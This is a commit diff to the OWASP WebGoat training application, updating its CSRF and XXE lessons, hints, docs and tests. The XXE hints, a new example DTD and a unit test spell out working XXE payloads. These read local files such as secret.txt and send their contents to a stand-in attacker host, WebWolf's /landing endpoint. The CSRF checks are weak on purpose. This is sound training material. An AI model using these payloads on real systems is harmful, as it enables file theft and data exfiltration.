Extended and fixed some lessons
This commit is contained in:
parent
d2b6725f3b
commit
1edceb0aa8
@ -14,19 +14,23 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
@AssignmentPath("/csrf/confirm-flag-1")
|
@AssignmentPath("/csrf/confirm-flag-1")
|
||||||
@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"})
|
@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"})
|
||||||
public class CSRFConfirmFlag1 extends AssignmentEndpoint {
|
public class CSRFConfirmFlag1 extends AssignmentEndpoint {
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
UserSessionData userSessionData;
|
UserSessionData userSessionData;
|
||||||
|
|
||||||
@PostMapping(produces = {"application/json"})
|
@PostMapping(produces = {"application/json"})
|
||||||
public @ResponseBody AttackResult completed(String confirmFlagVal) {
|
public @ResponseBody
|
||||||
|
AttackResult completed(String confirmFlagVal) {
|
||||||
|
|
||||||
if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) {
|
Object userSessionDataStr = userSessionData.getValue("csrf-get-success");
|
||||||
return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build();
|
if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) {
|
||||||
|
return trackProgress(
|
||||||
|
success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build()
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
return failed().feedback("").build();
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -40,7 +40,7 @@ public class CSRFFeedback extends AssignmentEndpoint {
|
|||||||
try {
|
try {
|
||||||
objectMapper.readValue(feedback.getBytes(), Map.class);
|
objectMapper.readValue(feedback.getBytes(), Map.class);
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
return failed().feedback(ExceptionUtils.getStackTrace(e)).build();
|
return failed().feedback(ExceptionUtils.getStackTrace(e)).build();
|
||||||
}
|
}
|
||||||
boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE);
|
boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE);
|
||||||
correctCSRF &= hostOrRefererDifferentHost(request);
|
correctCSRF &= hostOrRefererDifferentHost(request);
|
||||||
@ -64,8 +64,12 @@ public class CSRFFeedback extends AssignmentEndpoint {
|
|||||||
|
|
||||||
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
||||||
String referer = request.getHeader("referer");
|
String referer = request.getHeader("referer");
|
||||||
String host = request.getHeader("host");
|
String origin = request.getHeader("origin");
|
||||||
return !StringUtils.contains(referer, host);
|
if (referer != null) {
|
||||||
|
return !referer.contains(origin);
|
||||||
|
} else {
|
||||||
|
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private boolean requestContainsWebGoatCookie(Cookie[] cookies) {
|
private boolean requestContainsWebGoatCookie(Cookie[] cookies) {
|
||||||
|
@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint {
|
|||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
|
||||||
Map<String,Object> response = new HashMap<>();
|
Map<String, Object> response = new HashMap<>();
|
||||||
|
|
||||||
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
||||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
||||||
@ -40,22 +40,32 @@ public class CSRFGetFlag extends Endpoint {
|
|||||||
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
||||||
String[] refererArr = referer.split("/");
|
String[] refererArr = referer.split("/");
|
||||||
|
|
||||||
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
|
|
||||||
Random random = new Random();
|
|
||||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
if (referer.equals("NULL")) {
|
||||||
response.put("success",true);
|
if (req.getParameter("csrf").equals("true")) {
|
||||||
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
|
Random random = new Random();
|
||||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||||
} else if (refererArr[2].equals(host)) {
|
response.put("success", true);
|
||||||
|
response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success"));
|
||||||
|
response.put("flag", userSessionData.getValue("csrf-get-success"));
|
||||||
|
} else {
|
||||||
|
Random random = new Random();
|
||||||
|
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||||
|
response.put("success", true);
|
||||||
|
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
|
||||||
|
response.put("flag", userSessionData.getValue("csrf-get-success"));
|
||||||
|
}
|
||||||
|
} else if (refererArr[2].equals(host)) {
|
||||||
response.put("success", false);
|
response.put("success", false);
|
||||||
response.put("message", "Appears the request came from the original host");
|
response.put("message", "Appears the request came from the original host");
|
||||||
response.put("flag", null);
|
response.put("flag", null);
|
||||||
} else {
|
} else {
|
||||||
Random random = new Random();
|
Random random = new Random();
|
||||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
||||||
response.put("success",true);
|
response.put("success", true);
|
||||||
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
|
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
|
||||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
response.put("flag", userSessionData.getValue("csrf-get-success"));
|
||||||
}
|
}
|
||||||
|
|
||||||
return response;
|
return response;
|
||||||
|
@ -1,69 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
|
||||||
|
|
||||||
import org.owasp.webgoat.assignments.Endpoint;
|
|
||||||
import org.owasp.webgoat.i18n.PluginMessages;
|
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Random;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Created by jason on 9/30/17.
|
|
||||||
*/
|
|
||||||
|
|
||||||
public class CSRFGetXhrFlag extends Endpoint {
|
|
||||||
|
|
||||||
@Autowired
|
|
||||||
UserSessionData userSessionData;
|
|
||||||
@Autowired
|
|
||||||
private PluginMessages pluginMessages;
|
|
||||||
|
|
||||||
@RequestMapping(produces = {"application/json"}, method = RequestMethod.GET)
|
|
||||||
@ResponseBody
|
|
||||||
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
|
||||||
|
|
||||||
Map<String,Object> response = new HashMap<>();
|
|
||||||
|
|
||||||
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
|
||||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
|
||||||
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
|
|
||||||
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
|
|
||||||
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
|
||||||
String[] refererArr = referer.split("/");
|
|
||||||
|
|
||||||
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
|
|
||||||
Random random = new Random();
|
|
||||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
|
||||||
response.put("success",true);
|
|
||||||
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
|
|
||||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
|
||||||
} else if (refererArr[2].equals(host)) {
|
|
||||||
response.put("success", false);
|
|
||||||
response.put("message", "Appears the request came from the original host");
|
|
||||||
response.put("flag", null);
|
|
||||||
} else {
|
|
||||||
Random random = new Random();
|
|
||||||
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
|
|
||||||
response.put("success",true);
|
|
||||||
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
|
|
||||||
response.put("flag",userSessionData.getValue("csrf-get-success"));
|
|
||||||
}
|
|
||||||
|
|
||||||
return response;
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getPath() {
|
|
||||||
return "/csrf/get-xhr-flag";
|
|
||||||
}
|
|
||||||
}
|
|
@ -115,22 +115,13 @@ public class ForgedReviews extends AssignmentEndpoint {
|
|||||||
userReviews.put(webSession.getUserName(), reviews);
|
userReviews.put(webSession.getUserName(), reviews);
|
||||||
//short-circuit
|
//short-circuit
|
||||||
if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {
|
if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {
|
||||||
return failed().feedback("csrf-you-forgot-something").build();
|
return trackProgress(failed().feedback("csrf-you-forgot-something").build());
|
||||||
}
|
}
|
||||||
//we have the spoofed files
|
//we have the spoofed files
|
||||||
if (referer != "NULL" && refererArr[2].equals(host) ) {
|
if (referer != "NULL" && refererArr[2].equals(host) ) {
|
||||||
return (failed().feedback("csrf-same-host").build());
|
return trackProgress(failed().feedback("csrf-same-host").build());
|
||||||
} else {
|
} else {
|
||||||
return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
|
return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private Review parseJson(String comment) {
|
|
||||||
ObjectMapper mapper = new ObjectMapper();
|
|
||||||
try {
|
|
||||||
return mapper.readValue(comment, Review.class);
|
|
||||||
} catch (IOException e) {
|
|
||||||
return new Review();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -15,6 +15,7 @@
|
|||||||
|
|
||||||
<form accept-charset="UNKNOWN" id="basic-csrf-get"
|
<form accept-charset="UNKNOWN" id="basic-csrf-get"
|
||||||
method="GET" name="form1"
|
method="GET" name="form1"
|
||||||
|
target="_blank"
|
||||||
successCallback=""
|
successCallback=""
|
||||||
action="/WebGoat/csrf/basic-get-flag"
|
action="/WebGoat/csrf/basic-get-flag"
|
||||||
enctype="application/json;charset=UTF-8">
|
enctype="application/json;charset=UTF-8">
|
||||||
@ -26,10 +27,12 @@
|
|||||||
<div class="adoc-content" th:replace="doc:CSRF_Basic_Get-1.adoc"></div>
|
<div class="adoc-content" th:replace="doc:CSRF_Basic_Get-1.adoc"></div>
|
||||||
|
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
|
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||||
<div class="assignment-success">
|
<div class="assignment-success">
|
||||||
<i class="fa fa-2 fa-check hidden" aria-hidden="true">
|
<i class="fa fa-2 fa-check hidden" aria-hidden="true">
|
||||||
</i>
|
</i>
|
||||||
</div>
|
</div>
|
||||||
|
<br/>
|
||||||
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-1"
|
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-1"
|
||||||
method="POST" name="form2"
|
method="POST" name="form2"
|
||||||
successCallback=""
|
successCallback=""
|
||||||
@ -40,7 +43,10 @@
|
|||||||
<input type="text" length="6" name="confirmFlagVal" value=""/>
|
<input type="text" length="6" name="confirmFlagVal" value=""/>
|
||||||
|
|
||||||
<input name="submit" value="Submit" type="submit"/>
|
<input name="submit" value="Submit" type="submit"/>
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
|
<br/>
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
<div class="attack-feedback"></div>
|
<div class="attack-feedback"></div>
|
||||||
@ -56,9 +62,9 @@
|
|||||||
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/reviews.css}"/>
|
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/reviews.css}"/>
|
||||||
<script th:src="@{/lesson_js/csrf-review.js}" language="JavaScript"></script>
|
<script th:src="@{/lesson_js/csrf-review.js}" language="JavaScript"></script>
|
||||||
|
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
|
||||||
|
|
||||||
<div class="attack-container">
|
<div class="attack-container">
|
||||||
|
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
|
||||||
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<div class="container-fluid">
|
<div class="container-fluid">
|
||||||
<div class="panel post">
|
<div class="panel post">
|
||||||
<div class="post-heading">
|
<div class="post-heading">
|
||||||
@ -133,65 +139,71 @@
|
|||||||
padding: 7px;
|
padding: 7px;
|
||||||
margin-top:7px;
|
margin-top:7px;
|
||||||
padding:5px;">
|
padding:5px;">
|
||||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
<div class="attack-container">
|
||||||
<div class="container-fluid">
|
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||||
<div class="row">
|
<div class="container-fluid">
|
||||||
<div class="col-md-8">
|
<div class="row">
|
||||||
<div class="well well-sm">
|
<div class="col-md-8">
|
||||||
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback"
|
<div class="well well-sm">
|
||||||
method="POST"
|
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback"
|
||||||
prepareData="feedback"
|
method="POST"
|
||||||
action="/WebGoat/csrf/feedback/message"
|
prepareData="feedback"
|
||||||
contentType="application/json">
|
action="/WebGoat/csrf/feedback/message"
|
||||||
<div class="row">
|
contentType="application/json">
|
||||||
<div class="col-md-6">
|
<div class="row">
|
||||||
<div class="form-group">
|
<div class="col-md-6">
|
||||||
<label for="name">
|
<div class="form-group">
|
||||||
Name</label>
|
<label for="name">
|
||||||
<input type="text" class="form-control" name="name" id="name"
|
Name</label>
|
||||||
placeholder="Enter name"
|
<input type="text" class="form-control" name="name" id="name"
|
||||||
required="required"/>
|
placeholder="Enter name"
|
||||||
</div>
|
required="required"/>
|
||||||
<div class="form-group">
|
</div>
|
||||||
<label for="email">
|
<div class="form-group">
|
||||||
Email Address</label>
|
<label for="email">
|
||||||
<div class="input-group">
|
Email Address</label>
|
||||||
|
<div class="input-group">
|
||||||
<span class="input-group-addon"><span class="glyphicon glyphicon-envelope"></span>
|
<span class="input-group-addon"><span class="glyphicon glyphicon-envelope"></span>
|
||||||
</span>
|
</span>
|
||||||
<input type="email" name="email" class="form-control" id="email"
|
<input type="email" name="email" class="form-control" id="email"
|
||||||
placeholder="Enter email"
|
placeholder="Enter email"
|
||||||
required="required"/></div>
|
required="required"/></div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="subject">
|
||||||
|
Subject</label>
|
||||||
|
<select id="subject" name="subject" class="form-control"
|
||||||
|
required="required">
|
||||||
|
<option value="na" selected="">Choose One:</option>
|
||||||
|
<option value="service">General Customer Service</option>
|
||||||
|
<option value="suggestions">Suggestions</option>
|
||||||
|
<option value="product">Product Support</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="form-group">
|
<div class="col-md-6">
|
||||||
<label for="subject">
|
<div class="form-group">
|
||||||
Subject</label>
|
<label for="name">
|
||||||
<select id="subject" name="subject" class="form-control" required="required">
|
Message</label>
|
||||||
<option value="na" selected="">Choose One:</option>
|
<textarea name="message" id="message" class="form-control" rows="9"
|
||||||
<option value="service">General Customer Service</option>
|
cols="25"
|
||||||
<option value="suggestions">Suggestions</option>
|
required="required"
|
||||||
<option value="product">Product Support</option>
|
placeholder="Message"></textarea>
|
||||||
</select>
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="col-md-12">
|
||||||
|
<button class="btn btn-primary pull-right" id="btnContactUs">
|
||||||
|
Send Message
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="col-md-6">
|
</form>
|
||||||
<div class="form-group">
|
</div>
|
||||||
<label for="name">
|
|
||||||
Message</label>
|
|
||||||
<textarea name="message" id="message" class="form-control" rows="9" cols="25"
|
|
||||||
required="required"
|
|
||||||
placeholder="Message"></textarea>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<div class="col-md-12">
|
|
||||||
<button class="btn btn-primary pull-right" id="btnContactUs">
|
|
||||||
Send Message
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</form>
|
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="attack-feedback"></div>
|
||||||
|
<div class="attack-output"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@ -211,7 +223,6 @@
|
|||||||
<input name="submit" value="Submit" type="submit"/>
|
<input name="submit" value="Submit" type="submit"/>
|
||||||
|
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
<div class="attack-feedback"></div>
|
<div class="attack-feedback"></div>
|
||||||
<div class="attack-output"></div>
|
<div class="attack-output"></div>
|
||||||
</div>
|
</div>
|
||||||
|
@ -20,7 +20,7 @@ csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to o
|
|||||||
|
|
||||||
csrf-feedback-hint1=Look at the content-type.
|
csrf-feedback-hint1=Look at the content-type.
|
||||||
csrf-feedback-hint2=Try to post the same message with content-type text/plain
|
csrf-feedback-hint2=Try to post the same message with content-type text/plain
|
||||||
csrf-feedback-hint3=The json can be put into a hidden field inside
|
csrf-feedback-hint3=The json can be put into a hidden field inside
|
||||||
|
|
||||||
csrf-feedback-invalid-json=Invalid JSON received.
|
csrf-feedback-invalid-json=Invalid JSON received.
|
||||||
csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0}
|
csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0}
|
||||||
|
@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain.
|
|||||||
|
|
||||||
Remember the session cookie should always be defined with http-only flag.
|
Remember the session cookie should always be defined with http-only flag.
|
||||||
|
|
||||||
Another effective defense can be to add a custom request header to each call. This will work if all the interactions
|
== Custom headers not safe
|
||||||
|
|
||||||
|
Another defense can be to add a custom request header to each call. This will work if all the interactions
|
||||||
with the server are performed with JavaScript. On the server side you only need to check the presence of this header
|
with the server are performed with JavaScript. On the server side you only need to check the presence of this header
|
||||||
if this header is not present deny the request.
|
if this header is not present deny the request.
|
||||||
|
Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed
|
||||||
|
as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi
|
|||||||
The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers
|
The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers
|
||||||
have also proven vulnerable to CSRF.
|
have also proven vulnerable to CSRF.
|
||||||
|
|
||||||
== CSRF Solution
|
== CSRF solutions
|
||||||
|
|
||||||
|
=== Same site cookie attribute
|
||||||
|
|
||||||
|
This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be
|
||||||
|
attached to requests if those requests are 'same-site'
|
||||||
|
For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from
|
||||||
|
`webgoat.org`.
|
||||||
|
There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on
|
||||||
|
github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be
|
||||||
|
redirected to the login page, because the browser does not attach the cookie for Facebook.
|
||||||
|
More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/
|
||||||
|
|
||||||
|
=== Other protections
|
||||||
|
|
||||||
Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and
|
Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and
|
||||||
Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks.
|
Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks.
|
||||||
|
@ -46,13 +46,10 @@ public class CSRFFeedbackTest extends LessonTest {
|
|||||||
mockMvc.perform(post("/csrf/feedback/message")
|
mockMvc.perform(post("/csrf/feedback/message")
|
||||||
.contentType(MediaType.TEXT_PLAIN)
|
.contentType(MediaType.TEXT_PLAIN)
|
||||||
.cookie(new Cookie("JSESSIONID", "test"))
|
.cookie(new Cookie("JSESSIONID", "test"))
|
||||||
.header("host", "localhost:8080")
|
.header("origin", "localhost:8080")
|
||||||
.header("referer", "webgoat.org")
|
.header("referer", "webgoat.org")
|
||||||
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
||||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||||
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
|
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
@ -4,6 +4,7 @@ import com.google.common.base.Charsets;
|
|||||||
import com.google.common.io.Files;
|
import com.google.common.io.Files;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
@ -49,6 +50,7 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
|||||||
* @since November 18, 2016
|
* @since November 18, 2016
|
||||||
*/
|
*/
|
||||||
@AssignmentPath("xxe/blind")
|
@AssignmentPath("xxe/blind")
|
||||||
|
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
|
||||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||||
|
|
||||||
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||||
|
@ -51,7 +51,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
|||||||
* @since 4/8/17.
|
* @since 4/8/17.
|
||||||
*/
|
*/
|
||||||
@AssignmentPath("xxe/simple")
|
@AssignmentPath("xxe/simple")
|
||||||
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
|
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
|
||||||
public class SimpleXXE extends AssignmentEndpoint {
|
public class SimpleXXE extends AssignmentEndpoint {
|
||||||
|
|
||||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
|
||||||
|
@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website
|
|||||||
xxe.blind.output=Contents of the file is: {0}
|
xxe.blind.output=Contents of the file is: {0}
|
||||||
|
|
||||||
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
|
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
|
||||||
xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack
|
xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD
|
||||||
xxe.hints.simple.xxe.3=Try to include your own DTD
|
xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml
|
||||||
xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml
|
xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
|
||||||
|
xxe.hints.simple.xxe.5=Do not forget to reference the entity
|
||||||
|
xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment>
|
||||||
|
|
||||||
xxe.hints.content.type.xxe.1=Take a look at the content type
|
xxe.hints.content.type.xxe.1=Take a look at the content type
|
||||||
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
|
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
|
||||||
|
|
||||||
|
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
|
||||||
|
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
|
||||||
|
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
|
||||||
|
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
|
||||||
|
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||||
|
@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
|
||||||
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>">
|
||||||
|
%all;
|
||||||
|
~
|
@ -3,5 +3,5 @@
|
|||||||
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
|
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
|
||||||
So this might result in JSON endpoints being vulnerable to XXE attacks.
|
So this might result in JSON endpoints being vulnerable to XXE attacks.
|
||||||
|
|
||||||
Again same exercise but try to perform the same XML injection as we did in first assigment.
|
Again same exercise but try to perform the same XML injection as we did in first assignment.
|
||||||
|
|
||||||
|
@ -71,6 +71,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
@Test
|
@Test
|
||||||
public void solve() throws Exception {
|
public void solve() throws Exception {
|
||||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||||
|
//Host DTD on WebWolf site
|
||||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
||||||
@ -80,6 +81,8 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
.withStatus(200)
|
.withStatus(200)
|
||||||
.withBody(dtd)));
|
.withBody(dtd)));
|
||||||
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||||
|
|
||||||
|
//Make the request from WebGoat
|
||||||
String xml = "<?xml version=\"1.0\"?>" +
|
String xml = "<?xml version=\"1.0\"?>" +
|
||||||
"<!DOCTYPE comment [" +
|
"<!DOCTYPE comment [" +
|
||||||
